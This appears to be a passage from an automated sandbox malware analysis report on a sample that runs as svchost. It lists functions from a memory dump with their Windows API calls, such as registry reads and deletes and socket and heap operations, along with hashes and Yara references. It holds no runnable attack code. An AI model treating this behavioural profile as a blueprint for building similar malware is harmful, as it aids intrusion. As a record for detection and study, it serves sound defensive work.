                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: HeapProcess$CriticalSection$HandleLeave$CloseEnterFreeInformationOpenTimesValidate
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3901171168-0
                                                                                                                                                                                                            • Opcode ID: 57083166f50848ad066f713e7076f39caf387746214d8d1c3ede64c0c9f4dc64
                                                                                                                                                                                                            • Instruction ID: 0be6a7e2f238a9a7328ba09b2ff31cea27f674c3b5fcd4eeb40afee3029334c7
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 57083166f50848ad066f713e7076f39caf387746214d8d1c3ede64c0c9f4dc64
                                                                                                                                                                                                            • Instruction Fuzzy Hash: DB01283AE81220ABE7305FE4B848B067794DFCAB627244815F64993314CB305C15CBE0
                                                                                                                                                                                                            Function 00401920 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 48libraryloaderCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetTickCount.KERNEL32 ref: 0040194A
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(ntdll.dll,?,004029EE,-00000006,00000000), ref: 00401957
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,RtlUniform), ref: 00401963
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3269898642.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3269898642.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: AddressCountHandleModuleProcTick
                                                                                                                                                                                                            • String ID: RtlUniform$ntdll.dll
                                                                                                                                                                                                            • API String ID: 1545651562-3277137149
                                                                                                                                                                                                            • Opcode ID: 722f6cd1cbe50953a6b5d4977baf4a995fd7d4408477fa0f27fd114fcda5d871
                                                                                                                                                                                                            • Instruction ID: 42b0d571b2b9ac5a956892dcf26f74189b3fac86f907fc126faefe0e596b578b
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 722f6cd1cbe50953a6b5d4977baf4a995fd7d4408477fa0f27fd114fcda5d871
                                                                                                                                                                                                            • Instruction Fuzzy Hash: B601A771600314DBC7149FBAAC81996B759AB88B15710443AEA09E32D3C63DDC05CBBC
                                                                                                                                                                                                            Function 02D03A00 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 37registryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • RegOpenKeyExA.ADVAPI32(80000001,software\microsoft,00000000,00000101,?,02D03BCE), ref: 02D03A34
                                                                                                                                                                                                            • RegQueryValueExA.ADVAPI32(00000000,a3b7fb2ea,00000000,?,00000000,?), ref: 02D03A55
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(00000000), ref: 02D03A63
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CloseOpenQueryValue
                                                                                                                                                                                                            • String ID: a3b7fb2ea$software\microsoft
                                                                                                                                                                                                            • API String ID: 3677997916-2833742656
                                                                                                                                                                                                            • Opcode ID: ede45bf1dd1912750cbb3dc94295fc8d3101893b67aea3adeefc5a9a4d48608a
                                                                                                                                                                                                            • Instruction ID: 9490a241a8cea5d1fc86bd5e3877baf1269256e58b27928e2d2af2ebe07b23b3
                                                                                                                                                                                                            • Opcode Fuzzy Hash: ede45bf1dd1912750cbb3dc94295fc8d3101893b67aea3adeefc5a9a4d48608a
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 99F03C78E40308FBEB10CFA4D845FAEB7B8EB08705F504598F905A6380D7B5AE14CB90
                                                                                                                                                                                                            Function 02D2C010 Relevance: 7.7, APIs: 5, Instructions: 239COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • malloc.MSVCRT ref: 02D2C069
                                                                                                                                                                                                              • Part of subcall function 02D30A00: __WSAFDIsSet.WS2_32(?,?), ref: 02D30AB0
                                                                                                                                                                                                              • Part of subcall function 02D30A00: closesocket.WS2_32(?), ref: 02D30ACD
                                                                                                                                                                                                            • realloc.MSVCRT ref: 02D2C075
                                                                                                                                                                                                            • malloc.MSVCRT ref: 02D2C0AD
                                                                                                                                                                                                            • realloc.MSVCRT ref: 02D2C0B9
                                                                                                                                                                                                            • malloc.MSVCRT ref: 02D2C10C
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: malloc$realloc$closesocket
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3133911991-0
                                                                                                                                                                                                            • Opcode ID: e6f22a8f0b947fff2c9e7f20cd578f81b9919fbcb84c3b7c287b188811139f41
                                                                                                                                                                                                            • Instruction ID: b3cb4e44a6ffd8308b4b5f89609811caf4f60d38706af953db887eb489778401
                                                                                                                                                                                                            • Opcode Fuzzy Hash: e6f22a8f0b947fff2c9e7f20cd578f81b9919fbcb84c3b7c287b188811139f41
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 5591E871A102658FCB04DF24E9906DA37A2EF98305F0985B9ED0DDB346D674AD16CBB0
                                                                                                                                                                                                            Function 02D140B0 Relevance: 7.6, APIs: 5, Instructions: 110COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D140B9
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(02D250A0,?,0000001C), ref: 02D140EC
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(02D250A0,?,0000001C), ref: 02D14118
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(02D250A0,?,0000001C), ref: 02D1413F
                                                                                                                                                                                                            • SetLastError.KERNEL32(?), ref: 02D141BC
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: QueryVirtual$ErrorLast
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2886163261-0
                                                                                                                                                                                                            • Opcode ID: 9366598a913b4aabe75c74ea7672db0150b1f0d169584b3444d540272984a13a
                                                                                                                                                                                                            • Instruction ID: ba35d7bf7cfe1bc6c67d12a43efb95a8db2547b9ae8d38cfd4d03d841cab4a08
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 9366598a913b4aabe75c74ea7672db0150b1f0d169584b3444d540272984a13a
                                                                                                                                                                                                            • Instruction Fuzzy Hash: A741FAB0D00218AFDB10DFA8E884AAEBBF5FB58304F50856AE915E7700D774AD41CF91
                                                                                                                                                                                                            Function 02D13E50 Relevance: 7.6, APIs: 5, Instructions: 104COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D13E59
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_000250A0,?,0000001C), ref: 02D13E8C
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_000250A0,?,0000001C), ref: 02D13EB8
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_000250A0,?,0000001C), ref: 02D13EDF
                                                                                                                                                                                                            • SetLastError.KERNEL32(?), ref: 02D13F5C
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: QueryVirtual$ErrorLast
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2886163261-0
                                                                                                                                                                                                            • Opcode ID: bebd5398c22f587d49953268a1ebb5b9569bf9aee0f77be2f2872b8fe6a105c7
                                                                                                                                                                                                            • Instruction ID: 28f7dd8c74b12fcc66f20968648f208462844dc6a8efd7bfc00222178871b0ea
                                                                                                                                                                                                            • Opcode Fuzzy Hash: bebd5398c22f587d49953268a1ebb5b9569bf9aee0f77be2f2872b8fe6a105c7
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 04410BB0E00318AFDB50DFA8E884AAEBBF5EB48310F50856AE559E7741D7749D41CF90
                                                                                                                                                                                                            Function 02D013B0 Relevance: 7.6, APIs: 5, Instructions: 94COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D013DE
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_000250A0,?,0000001C), ref: 02D0141A
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_000250A0,?,0000001C), ref: 02D01446
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_000250A0,?,0000001C), ref: 02D0146D
                                                                                                                                                                                                            • SetLastError.KERNEL32(?), ref: 02D01498
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: QueryVirtual$ErrorLast
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2886163261-0
                                                                                                                                                                                                            • Opcode ID: a4c16557e8b49954da4ed0beb398a9521c2fe3d71cdc07e86e7f160dff5ad3a7
                                                                                                                                                                                                            • Instruction ID: 71806a4d7fd5c54a798e5bef4e6a8eb13ac952b0e7fd750130ddb1478e38d345
                                                                                                                                                                                                            • Opcode Fuzzy Hash: a4c16557e8b49954da4ed0beb398a9521c2fe3d71cdc07e86e7f160dff5ad3a7
                                                                                                                                                                                                            • Instruction Fuzzy Hash: F631B9B1D00209AFDB40DFA8D885AEEBBF9FB4C314F50856AE918E7340E37499458F90
                                                                                                                                                                                                            Function 02D191E0 Relevance: 7.6, APIs: 5, Instructions: 89networkCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • WSAGetLastError.WS2_32 ref: 02D19202
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_000250A0,?,0000001C), ref: 02D19233
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_000250A0,?,0000001C), ref: 02D1925F
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_000250A0,?,0000001C), ref: 02D19286
                                                                                                                                                                                                            • WSASetLastError.WS2_32(?), ref: 02D192B9
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: QueryVirtual$ErrorLast
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2886163261-0
                                                                                                                                                                                                            • Opcode ID: 9a11bf0fb5ae7c0fa20d6af43dc42e77ad5579a903bb4c8e1f6418329db681e8
                                                                                                                                                                                                            • Instruction ID: 110398ea1263908a93b2638b51d8d4c1f032a2d60776cadcceed38c8b1d86e31
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 9a11bf0fb5ae7c0fa20d6af43dc42e77ad5579a903bb4c8e1f6418329db681e8
                                                                                                                                                                                                            • Instruction Fuzzy Hash: FE31BCB5D00219AFDB44DFA9D894AEEBBF5FB48300F508569E919E7300E7749940CFA0
                                                                                                                                                                                                            Function 02D288B0 Relevance: 7.6, APIs: 5, Instructions: 85timeCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetFileType.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,02D28D84), ref: 02D288E3
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(?,00000000,00000000,00000000,0000002C,00000044,00000030,0000003C,?,?,?,?,?,?,?,02D28D84), ref: 02D2890B
                                                                                                                                                                                                            • GetLocalTime.KERNEL32(?,?,?,?,?,?,?,?,02D28D84), ref: 02D28935
                                                                                                                                                                                                            • SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,02D28D84), ref: 02D28943
                                                                                                                                                                                                            • FileTimeToDosDateTime.KERNEL32(?,02D28D84,?), ref: 02D28955
                                                                                                                                                                                                              • Part of subcall function 02D283F0: GetFileType.KERNEL32(?,00000000,00000000), ref: 02D283F9
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: FileTime$Type$DateLocalPointerSystem
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 60630809-0
                                                                                                                                                                                                            • Opcode ID: 36f8652aedaf0aa8f5d1b855ad429fa622df395b40efe06aee49716197270208
                                                                                                                                                                                                            • Instruction ID: 964892f04aaaf355715e7acee830551807f236254235e54f7f411cdc2f72b650
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 36f8652aedaf0aa8f5d1b855ad429fa622df395b40efe06aee49716197270208
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 352185B69007549FC730CF69D9C49ABF7F8FB58318B400A2EE59AD2A40D771E408CB60
                                                                                                                                                                                                            Function 02D24E00 Relevance: 7.6, APIs: 5, Instructions: 83registryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • RegOpenKeyExA.ADVAPI32(80000001,02D132AB,00000000,00010108,?,00000000), ref: 02D24E3F
                                                                                                                                                                                                            • RegEnumKeyExA.ADVAPI32(?,00000000,?,80000001,00000000,00000000,00000000,00000000,00000000), ref: 02D24E74
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(?), ref: 02D24E9E
                                                                                                                                                                                                            • RegDeleteKeyA.ADVAPI32(00000104,02D132AB), ref: 02D24EB6
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(?), ref: 02D24EC2
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Close$DeleteEnumOpen
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1912718029-0
                                                                                                                                                                                                            • Opcode ID: 7f283e0c7f2a46e92bf16fb08d6350b27b3fdce21ea6e8f690f782b8253602f2
                                                                                                                                                                                                            • Instruction ID: c500465e187af4018d0c7b1860f61b5d79d95b02fdf8f08d742bc58986e3988c
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 7f283e0c7f2a46e92bf16fb08d6350b27b3fdce21ea6e8f690f782b8253602f2
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 9721747AA40228ABD720DE58EC44FEAB7ACEB64714F144195FD44EB340D6B1AE58CBD0
                                                                                                                                                                                                            Function 02D019E0 Relevance: 7.6, APIs: 5, Instructions: 80COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: free$exitmallocmemcpy
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2377537114-0
                                                                                                                                                                                                            • Opcode ID: c3e1cac3992b6f51c2a3e730fda7ea536fdb36b4e5f5db19ad530fcd16bce686
                                                                                                                                                                                                            • Instruction ID: fa0fa4e10ddb7ffce0a2383db2ea067c1ed6fe02e2a38457e5c1dd1b6ec8ea36
                                                                                                                                                                                                            • Opcode Fuzzy Hash: c3e1cac3992b6f51c2a3e730fda7ea536fdb36b4e5f5db19ad530fcd16bce686
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 3C219FB4A042059FC714CF5AE8C4B6ABBE5FB49304F10852DE94AC3350D731E961CB90
                                                                                                                                                                                                            Function 02D056F0 Relevance: 7.6, APIs: 5, Instructions: 80COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D05712
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_000250A0,?,0000001C), ref: 02D05745
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_000250A0,?,0000001C), ref: 02D05771
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_000250A0,?,0000001C), ref: 02D05798
                                                                                                                                                                                                            • SetLastError.KERNEL32(?), ref: 02D057B4
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: QueryVirtual$ErrorLast
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2886163261-0
                                                                                                                                                                                                            • Opcode ID: 8a8d29310e388635e4616cc8cd80effc35e9b4385d7cd5936b67d4402fdd7205
                                                                                                                                                                                                            • Instruction ID: 362a6e4a406773aae4c6e7ec69cdf81a2048000aac9fda2b8819d73c3da491a9
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 8a8d29310e388635e4616cc8cd80effc35e9b4385d7cd5936b67d4402fdd7205
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 6C3187B5D41219AFDB40CFA8E985AEEBBF5FB48310F50846AE914E7300E77499548FA0
                                                                                                                                                                                                            Function 02D06999 Relevance: 7.6, APIs: 5, Instructions: 54memoryregistrystringCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000110,?,?,?,?,?,?,?,00000000), ref: 02D069FA
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 02D06A01
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D06A15
                                                                                                                                                                                                            • lstrcpynA.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,?,?,00000000), ref: 02D06A2E
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(80000001,?,?,?,?,?,00000000), ref: 02D06A3C
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$AllocCloseProcesslstrcpynmemset
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3057210225-0
                                                                                                                                                                                                            • Opcode ID: 0c5125790d08e82d51e3ac57a4ab0e725048cc32ff00b5d8c73df7f9a54a0493
                                                                                                                                                                                                            • Instruction ID: 259001db075d581fb4302807d4229ccf1db745ea899863a3552ee2a9519e97a3
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 0c5125790d08e82d51e3ac57a4ab0e725048cc32ff00b5d8c73df7f9a54a0493
                                                                                                                                                                                                            • Instruction Fuzzy Hash: F3114871E4522817E729EB74A8897D933D8EB1CB04F4008A9FA45D67D0D3B0CEE08AE1
                                                                                                                                                                                                            Function 02D0D060 Relevance: 7.5, APIs: 5, Instructions: 41windowCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • OpenProcess.KERNEL32(00000410,00000000), ref: 02D0D072
                                                                                                                                                                                                            • GetModuleFileNameExA.PSAPI(00000000,00000000,?,00000104), ref: 02D0D089
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02D0D09F
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D0D0B0
                                                                                                                                                                                                            • ExtractIconExA.SHELL32(?,00000000,?,00000000,00000001), ref: 02D0D0C7
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Handle$CloseExtractFileIconInformationModuleNameOpenProcess
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1270303404-0
                                                                                                                                                                                                            • Opcode ID: ad73a559cecad126e4acb97d08059afaead1a085dc4ee9ae5470dddf5ecfe95c
                                                                                                                                                                                                            • Instruction ID: 929cf42afc6371402c7eb039f8d4d33dfa5a52333a51e45f0c2ea9ba31a92ebb
                                                                                                                                                                                                            • Opcode Fuzzy Hash: ad73a559cecad126e4acb97d08059afaead1a085dc4ee9ae5470dddf5ecfe95c
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 4D01D139941218BBE720DF90AC49FEE7BE8EB15704F900184FA04AA2C0D7F01E40CBE1
                                                                                                                                                                                                            Function 02D1A1B0 Relevance: 7.5, APIs: 5, Instructions: 41memorysynchronizationCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(?,000003E8,00000000,02D1A193,?,?,?,?,?,?,02D1938A,00000000,02D191E0,02D5A04C), ref: 02D1A1BC
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000030,?,?,?,?,?,?,02D1938A,00000000,02D191E0,02D5A04C), ref: 02D1A1C6
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,02D1938A,00000000,02D191E0,02D5A04C), ref: 02D1A1CD
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D1A1DE
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(?,?,?,?,?,?,?,02D1938A,00000000,02D191E0,02D5A04C), ref: 02D1A22A
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$AllocMutexObjectProcessReleaseSingleWaitmemset
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 819421891-0
                                                                                                                                                                                                            • Opcode ID: 1bebc3f6613ab648073eef041146847bcdb8402efba0e2f49b1989ccceda45fc
